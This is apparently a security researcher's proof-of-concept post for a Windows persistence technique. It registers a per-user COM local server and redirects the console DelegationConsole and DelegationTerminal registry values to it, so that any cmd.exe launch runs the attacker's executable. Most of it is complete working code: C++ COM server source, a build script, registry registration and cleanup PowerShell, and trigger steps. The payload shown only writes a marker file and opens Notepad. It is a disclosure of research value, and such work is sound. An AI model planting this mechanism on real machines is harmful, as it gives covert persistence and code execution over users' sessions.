This POC was generated with the aid of AI, due to the fact that I am shit at COM :) - Give Living Of The DelegationConsole / DelegationTerminal Keys a read for more human details.
Overview#
The idea is simple.
- Register a per-user COM local server
- Point
DelegationConsoleandDelegationTerminalto that CLSID - Trigger a normal visible console session
- Let COM activate our EXE with
-Embeddingthrough the normal console handoff path
Demo#
Files#
poc_handoff/
poc_handoff.cpp
build.cmd
register.ps1
unregister.ps1poc_handoff.cpp#
// poc_handoff.cpp
// Build:
// cl /nologo /EHsc poc_handoff.cpp /link ole32.lib shell32.lib /SUBSYSTEM:WINDOWS /OUT:poc_handoff.exe
#define _WIN32_DCOM
#include <windows.h>
#include <objbase.h>
#include <shellapi.h>
typedef struct _CONSOLE_PORTABLE_ATTACH_MSG {
DWORD IdLowPart;
LONG IdHighPart;
ULONG64 Process;
ULONG64 Object;
ULONG Function;
ULONG InputSize;
ULONG OutputSize;
} CONSOLE_PORTABLE_ATTACH_MSG;
MIDL_INTERFACE("E686C757-9A35-4A1C-B3CE-0BCC8B5C69F4")
IConsoleHandoff : public IUnknown {
virtual HRESULT STDMETHODCALLTYPE EstablishHandoff(
HANDLE server, HANDLE inputEvent,
const CONSOLE_PORTABLE_ATTACH_MSG* msg,
HANDLE signalPipe, HANDLE inboxProcess,
HANDLE* clientProcess) = 0;
};
// {11111111-2222-3333-4444-555555555555}
static const GUID CLSID_PocHandoff =
{ 0x11111111, 0x2222, 0x3333,
{ 0x44, 0x44, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55 } };
static HANDLE g_done = nullptr;
static void DoSideEffect(const CONSOLE_PORTABLE_ATTACH_MSG* msg)
{
wchar_t path[MAX_PATH];
ExpandEnvironmentStringsW(L"%TEMP%\\poc_handoff.txt", path, MAX_PATH);
HANDLE f = CreateFileW(path, GENERIC_WRITE, FILE_SHARE_READ, nullptr,
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, nullptr);
if (f != INVALID_HANDLE_VALUE) {
char buf[256];
int n = wsprintfA(buf,
"PoC handoff fired.\r\n"
" attacker pid : %lu\r\n"
" client pid : %llu\r\n"
" func code : %lu\r\n",
GetCurrentProcessId(),
msg ? (unsigned long long)msg->Process : 0ULL,
msg ? (unsigned long)msg->Function : 0UL);
DWORD w;
WriteFile(f, buf, n, &w, nullptr);
CloseHandle(f);
}
ShellExecuteW(nullptr, L"open", L"notepad.exe", path, nullptr, SW_SHOW);
}
struct PocHandoff : public IConsoleHandoff
{
LONG ref = 1;
HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid, void** ppv) override {
if (!ppv) return E_POINTER;
if (riid == IID_IUnknown || riid == __uuidof(IConsoleHandoff)) {
*ppv = static_cast<IConsoleHandoff*>(this);
AddRef();
return S_OK;
}
*ppv = nullptr;
return E_NOINTERFACE;
}
ULONG STDMETHODCALLTYPE AddRef() override {
return InterlockedIncrement(&ref);
}
ULONG STDMETHODCALLTYPE Release() override {
LONG c = InterlockedDecrement(&ref);
if (c == 0) delete this;
return (ULONG)c;
}
HRESULT STDMETHODCALLTYPE EstablishHandoff(
HANDLE /*server*/, HANDLE /*inputEvent*/,
const CONSOLE_PORTABLE_ATTACH_MSG* msg,
HANDLE /*signalPipe*/, HANDLE /*inboxProcess*/,
HANDLE* clientProcess) override
{
DoSideEffect(msg);
if (clientProcess) {
DuplicateHandle(GetCurrentProcess(), GetCurrentProcess(),
GetCurrentProcess(), clientProcess,
SYNCHRONIZE, FALSE, 0);
}
SetEvent(g_done);
return S_OK;
}
};
struct PocFactory : public IClassFactory
{
HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid, void** ppv) override {
if (!ppv) return E_POINTER;
if (riid == IID_IUnknown || riid == IID_IClassFactory) {
*ppv = static_cast<IClassFactory*>(this);
return S_OK;
}
*ppv = nullptr;
return E_NOINTERFACE;
}
ULONG STDMETHODCALLTYPE AddRef() override { return 2; }
ULONG STDMETHODCALLTYPE Release() override { return 1; }
HRESULT STDMETHODCALLTYPE CreateInstance(IUnknown* outer, REFIID riid, void** ppv) override {
if (outer) return CLASS_E_NOAGGREGATION;
auto* h = new PocHandoff();
HRESULT hr = h->QueryInterface(riid, ppv);
h->Release();
return hr;
}
HRESULT STDMETHODCALLTYPE LockServer(BOOL) override { return S_OK; }
};
int CALLBACK wWinMain(HINSTANCE, HINSTANCE, PWSTR cmdLine, int)
{
if (!cmdLine || (!wcsstr(cmdLine, L"Embedding") &&
!wcsstr(cmdLine, L"embedding"))) {
return 0;
}
if (FAILED(CoInitializeEx(nullptr, COINIT_MULTITHREADED))) return 1;
g_done = CreateEventW(nullptr, TRUE, FALSE, nullptr);
PocFactory factory;
DWORD cookie = 0;
HRESULT hr = CoRegisterClassObject(
CLSID_PocHandoff,
static_cast<IClassFactory*>(&factory),
CLSCTX_LOCAL_SERVER,
REGCLS_SINGLEUSE,
&cookie);
if (SUCCEEDED(hr)) {
WaitForSingleObject(g_done, 60000);
CoRevokeClassObject(cookie);
}
CoUninitialize();
return 0;
}build.cmd#
@echo off
cl /nologo /EHsc poc_handoff.cpp /link ole32.lib shell32.lib /SUBSYSTEM:WINDOWS /OUT:poc_handoff.exeregister.ps1#
$ErrorActionPreference = 'Stop'
$clsid = '{11111111-2222-3333-4444-555555555555}'
$exe = (Resolve-Path .\poc_handoff.exe).Path
$base = "Registry::HKEY_CURRENT_USER\Software\Classes\CLSID\$clsid"
New-Item -Path $base -Force | Out-Null
Set-Item -Path $base -Value 'PocHandoff'
New-Item -Path "$base\LocalServer32" -Force | Out-Null
Set-Item -Path "$base\LocalServer32" -Value "`"$exe`" -Embedding"
$startup = 'Registry::HKEY_CURRENT_USER\Console\%%Startup'
New-Item -Path $startup -Force | Out-Null
Set-ItemProperty -Path $startup -Name 'DelegationConsole' -Value $clsid -Type String
Set-ItemProperty -Path $startup -Name 'DelegationTerminal' -Value $clsid -Type String
Write-Host 'Registered. Trigger with: Win+R -> cmd.exe'
Write-Host 'Marker file: %TEMP%\\poc_handoff.txt'unregister.ps1#
$clsid = '{11111111-2222-3333-4444-555555555555}'
$startup = 'Registry::HKEY_CURRENT_USER\Console\%%Startup'
Remove-ItemProperty -Path $startup -Name 'DelegationConsole' -ErrorAction SilentlyContinue
Remove-ItemProperty -Path $startup -Name 'DelegationTerminal' -ErrorAction SilentlyContinue
Remove-Item -Path "Registry::HKEY_CURRENT_USER\Software\Classes\CLSID\$clsid" `
-Recurse -Force -ErrorAction SilentlyContinueTrigger#
- Build
poc_handoff.exeviabuild.cmd. - Run
register.ps1. - Start
cmd.exe. notepad.exeshould open%TEMP%\poc_handoff.txt- Run
unregister.ps1to clean up